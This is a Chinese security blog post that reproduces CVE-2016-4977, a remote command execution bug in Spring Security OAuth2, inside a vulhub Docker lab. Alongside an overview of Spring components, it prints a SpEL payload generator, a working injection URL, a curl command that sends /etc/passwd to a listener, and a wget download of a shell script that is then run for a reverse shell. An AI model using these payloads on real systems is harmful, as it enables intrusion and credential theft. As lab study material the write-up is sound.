前言
--

Spring是 Java EE编程领域的一个轻量级开源框架，该框架是为了解决企业级编程开发中的复杂性，业务逻辑层和其他各层的松耦合问题，因此它将面向接口的编程思想贯穿整个系统应用，实现敏捷开发的应用型框架。

框架的主要**优势**之一就是其分层架构，分层架构允许使用者选择使用哪一个组件，同时为J2EE应用程序开发提供集成的框架

简单组件介绍
------

Spring发展至今，整个体系不断壮大，这里只简单介绍一些组件。  
首先是 Spring Websocket，Spring内置简单消息代理。这个代理处理来自客户端的订阅请求，将它们存储在内存中，并将消息广播到具有匹配目标的连接客户端。

Spring Data是一个用于简化数据库访问，并支持云服务的开源框架，其主要目标是使数据库的访问变得方便快捷。

Spring Data Commons是 Spring Data下所有子项目共享的基础框架，Spring Data家族中的所有实现都是基于 Spring Data Commons。

**简单点说，Spring Data REST把我们需要编写的大量REST模版接口做了自动化实现，并符合HAL的规范**

Spring Web Flow是Spring MVC的扩展，它支持开发基于流程的应用程序，可以将流程的定乂和实现流程行为的类和视图分离开来

### Spring Security OAuth2远程命令执行突破(CVE-2016-4977)

#### 影响版本

```php
2.0.0-2.0.9
1.0.0-1.0.5
```

#### 漏洞搭建

还是使用P牛的靶场

```php
cd vulhub-master/spring/CVE-2016-4977
sudo docker-compose up -d
```

![image-20210521080906589](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-e97fbac27da7a2fb1e81a8bd66eab0d9943d7e5f.png)

#### 漏洞复现

访问

```php
http://192.168.175.209:8080/
```

![image-20210521081105117](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-1c577ce6bc65adf460e97da02d469d7ce561abcd.png)

#### 漏洞验证

访问该url 会进行登录验证

```php
http://192.168.175.209:8080/oauth/authorize?response_type=${233*233}&amp;client_id=acme&amp;scope=openid&amp;redirect_uri=http://test
```

默认账号密码是

```php
admin
admin
```

登录成功

![image-20210521081210298](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-8e05b710d6d0acacb7cf5d8bb2ec048040606f7e.png)

#### Poc

我们看一下vulhub提供的Poc

```php
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
 poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
```

这里是java的命令执行

![image-20210521082836766](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-3857552751215e3627cc72bd5396d552d52cad0f.png)

执行一下poc.py

![image-20210521082811068](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-2f542bf6a34fa0cedfb734a59a38ed715e1acb6f.png)

#### 测试RCE

我们执行的命令是`whoami` 把回显放到表达式中

执行一下

```php
http://192.168.175.209:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)))}&amp;client_id=acme&amp;scope=openid&amp;redirect_uri=http://test
```

执行成功

![image-20210521083111824](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-852e375ed977c1cf19379d6381121c91170e9374.png)

这里注意：只是返回了进程，但实际上是命令执行

这是**无回显RCE**

#### 测试XXE

先在bash下做测试

```php
curl 192.168.175.130:8888 -d "$(cat /etc/passwd)"

nc -lvp 8888
```

![image-20210521084442961](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-b74fbb563585316a6d4b5650dc0dac8f11f2e037.png)

那么就将该命令放入poc中生成最终的payload

执行之后呢 我们可以去docker底层看一下

#### Poc-2-反弹shell

bash反弹一句话

上传sh脚本

```php
/usr/bin/wget -qO /tmp/a002 http://192.168.175.130:9999/shell.sh
```

进行执行

![image-20210522095354596](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-2b8bea3269e738936ad7b7d16e193a6df8c392e7.png)

然后继续去docker底层看一下

可以看到成功写入

然后进行执行sh脚本

```php
/bin/bash /tmp/a002
```

总结
==

Spring其中关键的5个部分，分别是

```php
spring framework、springboot、spring cloud、spring security、spring mvc
```

其中的 spring framework就是大家常常提到的 spring，这是所有 sprIng内容最基本的底层架构，其包含 spring mvc、springboot、spring core、IOC和AOP等等

Spring mvc就是 spring中的一个MVC框架，主要用来开发web应用和网络接口，但是其使用之前需要配置大量的xml文件，比较繁琐

所以出现 springboot，其内置 tomcat并且内置默认的XML配置信息，从而方便了用户的使用。下图就直观表现了他们之间的关系

spring security主要是用来做鉴权，保证安全性的

Spring Cloud基于 Spring Boot，简化了分布式系统的开发，集成了服务发现、配置管理、消息总线、负载均衡、断路器、数据监控等各种服务治理能力整个 spring家族有四个重要的基本概念，分别是

```php
IOC:控制反转

Context:上下文

Bean:被Spring 容器管理的Java对象

AOP:面向切面的编程
```
